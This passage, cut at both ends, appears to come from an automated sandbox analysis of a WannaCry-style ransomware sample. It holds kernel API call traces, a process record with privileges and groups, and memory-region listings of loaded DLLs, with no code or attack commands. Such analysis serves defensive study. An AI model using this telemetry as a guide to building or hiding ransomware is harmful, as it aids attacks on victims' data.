(FastMutex=0xffffe000014e9160) [0121.526] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.526] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.527] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.527] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.545] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.545] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.545] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.545] EngAllocMem () returned 0xfffff9014087f840 [0121.545] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.545] MmMapViewOfSection (in: SectionObject=0xffffc0000152be20, Process=0xffffe0000137f900, BaseAddress=0xfffff9014087fb68*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd000211d2ed0, ViewSize=0xfffff9014087fb80, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff9014087fb68*=0xebd2980000, SectionOffset=0xffffd000211d2ed0, ViewSize=0xfffff9014087fb80) returned 0x0 [0121.545] EngCreateBitmap () returned 0x240506c1 [0121.545] EngAssociateSurface () returned 0x1 [0121.545] EngLockSurface () returned 0xfffff901409dbcb8 [0121.545] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00001463440 [0121.545] KeInitializeEvent (in: Event=0xffffe00001463458, Type=0x1, State=0 | out: Event=0xffffe00001463458) [0121.546] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.546] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.546] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.547] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.547] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.547] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.547] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.547] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.547] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.548] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.548] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.548] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.548] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.548] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.548] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.548] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.548] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.548] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.548] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.548] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.548] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.548] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.548] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.548] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.595] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.595] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.595] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.595] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.595] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.595] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.595] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.595] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.595] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.659] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.659] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.659] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.659] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.660] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.711] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.711] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.711] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.711] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.711] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.711] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.711] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.711] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.711] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.711] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.711] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.711] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.772] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.772] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0121.772] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.773] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.773] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.773] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.773] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.773] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.773] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.812] IoGetCurrentProcess () returned 0xffffe0000137f900 [0121.812] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000014e9160) [0121.812] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0121.905] MmUnmapViewOfSection (Process=0xffffe0000137f900, BaseAddress=0xebd2980000) returned 0x0 [0121.906] MmUnmapViewOfSection (Process=0xffffe0000137f900, BaseAddress=0xebcf4c0000) returned 0x0 Process: id = "72" image_name = "wanacr~1.exe" filename = "c:\\progra~1\\common~1\\wanacr~1.exe" page_root = "0x52280000" os_pid = "0x958" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "71" os_parent_pid = "0x934" cmd_line = "C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 8518 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 8519 start_va = 0x7c5f6e0000 end_va = 0x7c5f6fffff entry_point = 0x0 region_type = private name = "private_0x0000007c5f6e0000" filename = "" Region: id = 8520 start_va = 0x7c5f700000 end_va = 0x7c5f70efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c5f700000" filename = "" Region: id = 8521 start_va = 0x7c5f710000 end_va = 0x7c5fb0ffff entry_point = 0x0 region_type = private name = "private_0x0000007c5f710000" filename = "" Region: id = 8522 start_va = 0x7c5fb10000 end_va = 0x7c5fb13fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c5fb10000" filename = "" Region: id = 8523 start_va = 0x7ff6cea10000 end_va = 0x7ff6cea32fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6cea10000" filename = "" Region: id = 8524 start_va = 0x7ff6cea34000 end_va = 0x7ff6cea34fff entry_point = 0x0 region_type = private name = "private_0x00007ff6cea34000" filename = "" Region: id = 8525 start_va = 0x7ff6cea3e000 end_va = 0x7ff6cea3ffff entry_point = 0x0 region_type = private name = "private_0x00007ff6cea3e000" filename = "" Region: id = 8526 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf33fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 8527 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 8528 start_va = 0x7c5fb20000 end_va = 0x7c5fb21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c5fb20000" filename = "" Region: id = 8529 start_va = 0x7c5fb30000 end_va = 0x7c5fb31fff entry_point = 0x0 region_type = private name = "private_0x0000007c5fb30000" filename = "" Region: id = 8530 start_va = 0x7c5fc30000 end_va = 0x7c6002ffff entry_point = 0x0 region_type = private name = "private_0x0000007c5fc30000" filename = "" Region: id = 8531 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 8532 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 8533 start_va = 0x7c5f6e0000 end_va = 0x7c5f6effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c5f6e0000" filename = "" Region: id = 8534 start_va = 0x7ff6ce910000 end_va = 0x7ff6cea0ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce910000" filename = "" Region: id = 8535 start_va = 0x7c5fb40000 end_va = 0x7c5fbbdfff entry_point = 0x7c5fb40000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 8536 start_va = 0x7ffd15300000 end_va = 0x7ffd15308fff entry_point = 0x7ffd15301080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 8537 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8538 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 8539 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 8540 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 8541 start_va = 0x7c5f6f0000 end_va = 0x7c5f6f6fff entry_point = 0x0 region_type = private name = "private_0x0000007c5f6f0000" filename = "" Region: id = 8542 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 8543 start_va = 0x7ffd1dd30000 end_va = 0x7ffd1dd36fff entry_point = 0x7ffd1dd31010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 8544 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 8545 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 8546 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8547 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 8548 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 8549 start_va = 0x7ffd1f550000 end_va = 0x7ffd1f5e9fff entry_point = 0x7ffd1f5511a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 8550 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 8551 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 8552 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8553 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 8554 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 8555 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 8556 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3fa768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 8557 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 8558 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 8559 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 8560 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 8561 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 8562 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 8563 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 8564 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 8565 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 8566 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 8567 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 8568 start_va = 0x7c60030000 end_va = 0x7c601effff entry_point = 0x0 region_type = private name = "private_0x0000007c60030000" filename = "" Region: id = 8569 start_va = 0x7c5fbc0000 end_va = 0x7c5fbc6fff entry_point = 0x0 region_type = private name = "private_0x0000007c5fbc0000" filename = "" Region: id = 8570 start_va = 0x7c5fbd0000 end_va = 0x7c5fc03fff entry_point = 0x7c5fbd1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8571 start_va = 0x7c60030000 end_va = 0x7c601b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c60030000" filename = "" Region: id = 8572 start_va = 0x7c601e0000 end_va = 0x7c601effff entry_point = 0x0 region_type = private name = "private_0x0000007c601e0000" filename = "" Region: id = 8573 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8574 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8575 start_va = 0x7c601f0000 end_va = 0x7c60370fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c601f0000" filename = "" Region: id = 8576 start_va = 0x7c60380000 end_va = 0x7c6177ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c60380000" filename = "" Region: id = 8577 start_va = 0x7c5fbd0000 end_va = 0x7c5fbd0fff entry_point = 0x0 region_type = private name = "private_0x0000007c5fbd0000" filename = "" Region: id = 8578 start_va = 0x7c5fbe0000 end_va = 0x7c5fbe0fff entry_point = 0x0 region_type = private name = "private_0x0000007c5fbe0000" filename = "" Region: id = 8579 start_va = 0x7c5fbf0000 end_va = 0x7c5fbf0fff entry_point = 0x7c5fbf0000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 8580 start_va = 0x7c5fc00000 end_va = 0x7c5fc01fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c5fc00000" filename = "" Region: id = 8581 start_va = 0x7c61780000 end_va = 0x7c617cffff entry_point = 0x0 region_type = private name = "private_0x0000007c61780000" filename = "" Region: id = 8582 start_va = 0x7c617d0000 end_va = 0x7c61889fff entry_point = 0x7c617fc768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8583 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 8584 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8585 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 8586 start_va = 0x7c5fbf0000 end_va = 0x7c5fbf0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c5fbf0000" filename = "" Region: id = 8587 start_va = 0x7c617d0000 end_va = 0x7c618bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c617d0000" filename = "" Region: id = 8588 start_va = 0x7c5fbf0000 end_va = 0x7c5fbf3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c5fbf0000" filename = "" Region: id = 8589 start_va = 0x7c5fc10000 end_va = 0x7c5fc16fff entry_point = 0x0 region_type = private name = "private_0x0000007c5fc10000" filename = "" Region: id = 8590 start_va = 0x7c618c0000 end_va = 0x7c619bffff entry_point = 0x0 region_type = private name = "private_0x0000007c618c0000" filename = "" Region: id = 8591 start_va = 0x7c619c0000 end_va = 0x7c61ac0fff entry_point = 0x7c619efa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 8592 start_va = 0x7c5fc20000 end_va = 0x7c5fc20fff entry_point = 0x0 region_type = private name = "private_0x0000007c5fc20000" filename = "" Region: id = 8593 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 8594 start_va = 0x7c619c0000 end_va = 0x7c61c94fff entry_point = 0x7c619c0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8595 start_va = 0x7c601c0000 end_va = 0x7c601c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c601c0000" filename = "" Region: id = 8596 start_va = 0x7c601c0000 end_va = 0x7c601c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c601c0000" filename = "" Region: id = 8600 start_va = 0x7c601d0000 end_va = 0x7c601d0fff entry_point = 0x0 region_type = private name = "private_0x0000007c601d0000" filename = "" Region: id = 8601 start_va = 0x7c61ca0000 end_va = 0x7c62191fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000007c61ca0000" filename = "" Region: id = 8602 start_va = 0x7c621a0000 end_va = 0x7c6300ffff entry_point = 0x7c621a0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 8603 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8604 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8605 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8606 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8607 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8608 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8609 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8610 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8611 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8612 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 